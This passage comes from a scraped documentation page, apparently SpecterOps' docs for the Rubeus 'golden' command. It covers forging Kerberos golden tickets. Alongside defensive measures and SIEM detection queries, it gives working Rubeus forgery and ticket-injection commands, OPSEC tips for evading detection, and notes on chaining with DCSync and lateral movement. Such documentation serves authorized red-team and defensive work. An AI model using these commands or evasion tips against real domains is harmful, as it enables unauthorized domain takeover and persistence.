/ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /authtime:\"10/25/2024 08:15:00\"`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /starttime:\"10/25/2024 08:15:00\"`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Operational Patterns`,children:_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Limit the number of golden tickets created`}),`\n`,_jsx(_components.li,{children:`Use different usernames for different operations`}),`\n`,_jsx(_components.li,{children:`Avoid obvious administrative actions immediately after ticket creation`}),`\n`,_jsx(_components.li,{children:`Blend with normal business activity patterns`}),`\n`]})})]}),_jsxs(Tab,{title:`Defensive Countermeasures`,id:`defensive-countermeasures`,children:[_jsxs(Expandable,{title:`KRBTGT Protection`,children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`Preventive Measures:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Regular KRBTGT password rotation (recommended: twice)`}),`\n`,_jsx(_components.li,{children:`Implement privileged access management (PAM)`}),`\n`,_jsx(_components.li,{children:`Monitor KRBTGT account access and changes`}),`\n`,_jsx(_components.li,{children:`Restrict DCSync permissions to necessary accounts only`}),`\n`]}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`Detection Rules:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Monitor for DCSync operations against KRBTGT`}),`\n`,_jsx(_components.li,{children:`Alert on unusual KRBTGT password changes`}),`\n`,_jsx(_components.li,{children:`Track accounts with replication permissions`}),`\n`]})]}),_jsxs(Expandable,{title:`Ticket Monitoring`,children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`Advanced Detection:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Implement Kerberos ticket inspection`}),`\n`,_jsx(_components.li,{children:`Monitor for tickets with unusual characteristics`}),`\n`,_jsx(_components.li,{children:`Correlate authentication events with user behavior`}),`\n`,_jsx(_components.li,{children:`Use machine learning for authentication anomaly detection`}),`\n`]}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`SIEM Rules:`})}),_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`-- Detect long-lived tickets`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`SELECT`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` *`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` FROM`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` kerberos_events`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` ticket_lifetime `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`>`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` '1 day'`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`AND`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` user `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`NOT`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` IN`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` (service_accounts)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`-- Detect unusual group memberships`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`SELECT`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` *`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` FROM`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` kerberos_events`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` groups CONTAINS `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`'unusual_high_privilege_groups'`})]}),`\n`]})})})]})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`troubleshooting`,children:`Troubleshooting`}),`\n`,_jsx(Expandable,{title:`Common Issues`,icon:`exclamation-triangle`,children:_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Hash Format Issues`,id:`hash-format-issues`,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Problem`}),`: Invalid KRBTGT hash format errors`]}),_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Solutions`}),`:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Verify hash is exactly 32 characters for RC4`}),`\n`,_jsx(_components.li,{children:`Ensure AES keys are proper length (32 chars for AES128, 64 for AES256)`}),`\n`,_jsx(_components.li,{children:`Remove any spaces or line breaks from hash`}),`\n`,_jsx(_components.li,{children:`Verify hash was extracted correctly`}),`\n`]}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Verify hash format`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`echo`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:' \"hash_length: ${'}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`#`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`}\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test with RC4 hash`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:test`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:32ed87bdb5fdc5e9cba88547376818d4`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:S-1-5-21...`})]}),`\n`]})})})]}),_jsxs(Tab,{title:`LDAP Connectivity`,id:`ldap-connectivity`,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Problem`}),`: LDAP queries failing in automatic mode`]}),_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Solutions`}),`:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Verify domain controller connectivity`}),`\n`,_jsx(_components.li,{children:`Check DNS resolution for domain name`}),`\n`,_jsx(_components.li,{children:`Ensure current user has domain authentication`}),`\n`,_jsx(_components.li,{children:`Try manual mode if LDAP fails`}),`\n`]}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test LDAP connectivity`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`nslookup`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` corp.local`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use manual mode as fallback`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:S-1-5-21...`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`})]}),`\n`]})})})]}),_jsxs(Tab,{title:`Access Issues`,id:`access-issues`,children:[_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Problem`}),`: Forged ticket doesn’t provide expected access`]}),_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Solutions`}),`:`]}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Verify ticket was injected successfully`}),`\n`,_jsx(_components.li,{children:`Check group memberships in ticket`}),`\n`,_jsx(_components.li,{children:`Ensure target services are accessible`}),`\n`,_jsx(_components.li,{children:`Verify KRBTGT hash is current`}),`\n`]}),_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Verify ticket injection`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` klist`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test with different groups`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:512,513,518,519,520`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Describe ticket contents`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` describe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ticket:golden.kirbi`})]}),`\n`]})})})]})]})}),`\n`,_jsx(Heading,{level:`2`,id:`integration-with-other-attacks`,children:`Integration with Other Attacks`}),`\n`,_jsxs(CardGroup,{cols:2,children:[_jsx(Card,{title:`DCSync Integration`,icon:`download`,children:_jsx(_components.p,{children:`Use DCSync to obtain KRBTGT hash for golden ticket creation`})}),_jsx(Card,{title:`Lateral Movement`,icon:`arrows-left-right`,children:_jsx(_components.p,{children:`Use golden tickets to access remote systems and services`})}),_jsx(Card,{title:`Persistence Chains`,icon:`link`,children:_jsx(_components.p,{children:`Combine with other persistence techniques for redundant access`})}),_jsx(Card,{title:`Privilege Escalation`,icon:`arrow-up`,children:_jsx(_components.p,{children:`Escalate from limited access to domain administrator privileges`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`related-commands`,children:`Related Commands`}),`\n`,_jsxs(CardGroup,{cols:2,children:[_jsx(Card,{title:`silver`,icon:`medal`,href:`/ghostpack-docs/Rubeus-mdx/commands/forgery/silver`,children:_jsx(_components.p,{children:`Create service-specific forged tickets`})}),_jsx(Card,{title:`diamond`,icon:`gem`,href:`/ghostpack-docs/Rubeus-mdx/commands/forgery/diamond`,children:_jsx(_components.p,{children:`Create hybrid legitimate/forged tickets`})}),_jsx(Card,{title:`ptt`,icon:`arrow-right`,href:`/ghostpack-docs/Rubeus-mdx/commands/management/ptt`,children:_jsx(_components.p,{children:`Inject golden tickets into sessions`})}),_jsx(Card,{title:`describe`,icon:`magnifying-glass`,href:`/ghostpack-docs/Rubeus-mdx/commands/management/describe`,children:_jsx(_components.p,{children:`Analyze golden ticket structure`})})]})]})}function MDXContent(props={}){const{wrapper:MDXLayout}={..._provideComponents(),...props.components};return MDXLayout?_jsx(MDXLayout,{...props,children:_jsx(_createMdxContent,{...props})}):_createMdxContent(props)}return{default:MDXContent};function _missingMdxReference(id,component){throw new Error(`Expected `+(component?`component`:`object`)+\" `\"+id+\"` to be defined: you likely forgot to import, pass, or provide it.\")}","frontmatter":{},"scope":{"config":{},"pageMetadata":{"title":"golden","description":"Forge golden tickets for domain persistence and privilege escalation","icon":"crown","sidebarTitle":"golden","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden","hidden":false}}},"mdxSourceWithNoJs":null},"mdxExtracts":{"tableOfContents":[{"title":"Overview","slug":"overview","depth":2,"children":[]},{"title":"Attack Prerequisites","slug":"attack-prerequisites","depth":2,"children":[]},{"title":"Syntax Variations","slug":"syntax-variations","depth":2,"children":[]},{"title":"Required Parameters","slug":"required-parameters","depth":2,"children":[]},{"title":"KRBTGT Authentication","slug":"krbtgt-authentication","depth":2,"children":[]},{"title":"Domain Information","slug":"domain-information","depth":2,"children":[]},{"title":"Ticket Customization","slug":"ticket-customization","depth":2,"children":[]},{"title":"Output Options","slug":"output-options","depth":2,"children":[]},{"title":"Response Format","slug":"response-format","depth":2,"children":[]},{"title":"Complete Attack Workflow","slug":"complete-attack-workflow","depth":2,"children":[]},{"title":"Advanced Usage Scenarios","slug":"advanced-usage-scenarios","depth":2,"children":[]},{"title":"OPSEC Considerations","slug":"opsec-considerations","depth":2,"children":[]},{"title":"Troubleshooting","slug":"troubleshooting","depth":2,"children":[]},{"title":"Integration with Other Attacks","slug":"integration-with-other-attacks","depth":2,"children":[]},{"title":"Related Commands","slug":"related-commands","depth":2,"children":[]}],"codeExamples":{}},"jsLinks":[],"subdomain":"specteropsdocs","siteName":"SpecterOps Open Source","title":"golden - SpecterOps Open Source","contextualStarterQuestions":[],"navMaps":{"firstHrefInVersion":{"Home":{"href":"/","matchLevel":4},"Mythic":{"href":"/mythic-docs/home","matchLevel":4},"Ghostwriter":{"href":"/ghostwriter-docs/home","matchLevel":4},"SharpSCCM":{"href":"/sharpsccm-docs/overview","matchLevel":4},"SCCMHunter":{"href":"/sccmhunter-docs/overview","matchLevel":4},"Misconfiguration Manager":{"href":"/misconfiguration-manager-docs/README","matchLevel":4},"Nemesis":{"href":"/nemesis-docs/docs","matchLevel":4},"GhostPack":{"href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden","matchLevel":0},"AtlasReaper":{"href":"/atlasreaper-docs/overview","matchLevel":4},"Phisherman's Tacklebox":{"href":"/cuddlephish-docs/overview","matchLevel":4},"Merlin":{"href":"/merlin-docs/introduction","matchLevel":4},"Mythic Agents":{"href":"/mythic-agents","matchLevel":4},"Mythic Agent: Apollo":{"href":"/mythic-agents/apollo-docs/documentation-payload/apollo/_index","matchLevel":4},"Mythic Agent: Poseidon":{"href":"/mythic-agents/poseidon-docs/home","matchLevel":4},"Mythic Agent: Apfell":{"href":"/mythic-agents/apfell-docs/home","matchLevel":4},"Mythic Agent: Arachne":{"href":"/mythic-agents/arachne-docs/home","matchLevel":4},"Mythic Agent: Bloodhound":{"href":"/mythic-agents/bloodhound-agent-docs/home","matchLevel":4},"Mythic Agent: Nemesis":{"href":"/mythic-agents/nemesis-agent-docs/home","matchLevel":4},"Mythic Agent: Ghostwriter":{"href":"/mythic-agents/ghostwriter-agent-docs/home","matchLevel":4},"Mythic Agent: Sage":{"href":"/mythic-agents/sage-docs/home","matchLevel":4},"Mythic Agent: Forge":{"href":"/mythic-agents/forge-docs/home","matchLevel":4},"Mythic Agent: Merlin":{"href":"/mythic-agents/merlin-agent-docs/home","matchLevel":4}},"firstHrefInLanguage":{}},"originalFileLocation":"ghostpack-docs/Rubeus-mdx/commands/forgery/golden.mdx"},"headHtml":"\u003cscript data-mint-head>(function(){var d=document.documentElement,p=null;if(!p){try{p=localStorage.getItem(\"isDarkMode\")}catch(e){}if(p==='true')p='dark';else if(p==='false')p='light';if(p!=='light'\u0026\u0026p!=='dark'\u0026\u0026p!=='system')p=\"dark\"}var r=p==='system'?(matchMedia(\"(prefers-color-scheme: dark)\").matches?'dark':'light'):p;d.classList.remove(r==='dark'?'light':'dark');d.classList.add(r);d.setAttribute(\"data-theme-preference\",p)})();\u003c/script>\u003cmeta data-mint-head name=\"description\" content=\"Forge golden tickets for domain persistence and privilege escalation\">\u003cmeta data-mint-head name=\"application-name\" content=\"SpecterOps Open Source\">\u003cmeta data-mint-head name=\"generator\" content=\"Mintlify\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/android-chrome-192x192.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"apple-touch-icon\" type=\"image/png\" sizes=\"180x180\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/apple-touch-icon.png\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/favicon-16x16.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/favicon-32x32.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/favicon.ico\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/android-chrome-192x192.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/favicon-16x16.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/favicon-32x32.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/favicon.ico\" media=\"(prefers-color-scheme: dark)\">\u003cmeta data-mint-head property=\"og:title\" content=\"golden - SpecterOps Open Source\">\u003cmeta data-mint-head property=\"og:description\" content=\"Forge golden tickets for domain persistence and privilege escalation\">\u003cmeta data-mint-head property=\"og:site_name\" content=\"SpecterOps Open Source\">\u003cmeta data-mint-head property=\"og:url\" content=\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden\">\u003cmeta data-mint-head property=\"og:type\" content=\"website\">\u003cmeta data-mint-head property=\"og:image\" content=\"https://specteropsdocs.mintlify.site/_mintlify/api/og/v2?division=Ticket+Forgery\u0026amp;title=golden\u0026amp;description=Forge+golden+tickets+for+domain+persistence+and+privilege+escalation\u0026amp;theme=2f89e571138c7739835777ca\u0026amp;signature=b022dea42d70a30bf69eab262747f27480cec2ef973b5b0e28a4459efa034f2d\">\u003cmeta data-mint-head property=\"og:image:width\" content=\"1200\">\u003cmeta data-mint-head property=\"og:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"twitter:card\" content=\"summary_large_image\">\u003cmeta data-mint-head name=\"twitter:title\" content=\"golden - SpecterOps Open Source\">\u003cmeta data-mint-head name=\"twitter:description\" content=\"Forge golden tickets for domain persistence and privilege escalation\">\u003cmeta data-mint-head name=\"twitter:image\" content=\"https://specteropsdocs.mintlify.site/_mintlify/api/og/v2?division=Ticket+Forgery\u0026amp;title=golden\u0026amp;description=Forge+golden+tickets+for+domain+persistence+and+privilege+escalation\u0026amp;theme=2f89e571138c7739835777ca\u0026amp;signature=b022dea42d70a30bf69eab262747f27480cec2ef973b5b0e28a4459efa034f2d\">\u003cmeta data-mint-head name=\"twitter:image:width\" content=\"1200\">\u003cmeta data-mint-head name=\"twitter:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"msapplication-config\" content=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/browserconfig.xml\">\u003cmeta data-mint-head name=\"apple-mobile-web-app-title\" content=\"SpecterOps Open Source\">\u003cmeta data-mint-head name=\"msapplication-TileColor\" content=\"#2c2677\">\u003clink data-mint-head rel=\"canonical\" href=\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden\">\u003clink data-mint-head rel=\"alternate\" type=\"application/xml\" href=\"/sitemap.xml\">\u003clink data-mint-head rel=\"alternate\" type=\"text/markdown\" href=\"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden.md\">\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://docs.specterops.io/#organization\",\"name\":\"SpecterOps Open Source\",\"url\":\"https://docs.specterops.io\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/logo/light.svg?fit=max\u0026auto=format\u0026n=k1yx6gbUDEwWUifq\u0026q=85\u0026s=c7134dc672345b82c85209dadeb0e8ba\"}},{\"@type\":\"WebSite\",\"@id\":\"https://docs.specterops.io#website\",\"name\":\"SpecterOps Open Source\",\"url\":\"https://docs.specterops.io\",\"publisher\":{\"@id\":\"https://docs.specterops.io/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden#webpage\",\"url\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden\",\"name\":\"golden\",\"description\":\"Forge golden tickets for domain persistence and privilege escalation\",\"isPartOf\":{\"@id\":\"https://docs.specterops.io#website\"},\"breadcrumb\":{\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden#breadcrumb\"}},{\"@type\":\"BreadcrumbList\",\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Attack Techniques\",\"item\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"golden\",\"item\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden\"}]},{\"@type\":[\"Article\",\"TechArticle\"],\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden#article\",\"headline\":\"golden\",\"name\":\"golden\",\"description\":\"Forge golden tickets for domain persistence and privilege escalation\",\"url\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden\",\"mainEntityOfPage\":{\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/forgery/golden#webpage\"},\"publisher\":{\"@id\":\"https://docs.specterops.io/#organization\"},\"isPartOf\":{\"@id\":\"https://docs.specterops.io#website\"}}]}\u003c/script>\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"WebSite\",\"name\":\"SpecterOps Open Source\",\"publisher\":{\"@type\":\"Organization\",\"name\":\"SpecterOps Open Source\"},\"provider\":{\"@type\":\"Organization\",\"name\":\"Mintlify\",\"url\":\"https://mintlify.com\"}}\u003c/script>","agentPointerHref":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden.md","siteName":"SpecterOps Open Source","nav":{"global":null,"versions":[{"version":"Home","pages":[{"title":"Home","href":"/"}]},{"version":"Mythic","pages":[{"title":"Mythic","href":"/mythic-docs/home"}]},{"version":"Ghostwriter","pages":[{"title":"Ghostwriter","href":"/ghostwriter-docs/home"}]},{"version":"SharpSCCM","pages":[{"title":"SharpSCCM","href":"/sharpsccm-docs/overview"}]},{"version":"SCCMHunter","pages":[{"title":"SCCMHunter","href":"/sccmhunter-docs/overview"}]},{"version":"Misconfiguration Manager","pages":[{"title":"Misconfiguration Manager","href":"/misconfiguration-manager-docs/README"}]},{"version":"Nemesis","pages":[{"title":"Nemesis","href":"/nemesis-docs/docs"}]},{"version":"GhostPack","tabs":[{"tab":"Overview","icon":"ghost","pages":[{"title":"Overview","href":"/ghostpack-docs"}]},{"tab":"Certify","icon":"certificate","pages":[{"title":"Certify","href":"/ghostpack-docs/Certify.wik-mdx/overview"}]},{"tab":"Rubeus","icon":"ticket","groups":[{"group":"Getting Started","pages":[{"title":"Rubeus Overview","icon":"ticket","href":"/ghostpack-docs/Rubeus-mdx/overview"},{"title":"Compilation Instructions","icon":"hammer","href":"/ghostpack-docs/Rubeus-mdx/resources/compilation"}]},{"group":"Ticket Operations","pages":[{"group":"Ticket Requests","pages":[{"title":"asktgt","icon":"ticket","sidebarTitle":"asktgt","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/asktgt"},{"title":"asktgs","icon":"server","sidebarTitle":"asktgs","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/asktgs"},{"title":"renew","icon":"arrows-rotate","sidebarTitle":"renew","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/renew"},{"title":"brute","icon":"hammer","sidebarTitle":"brute","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/brute"},{"title":"preauthscan","icon":"radar","sidebarTitle":"preauthscan","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/preauthscan"}]},{"group":"Ticket 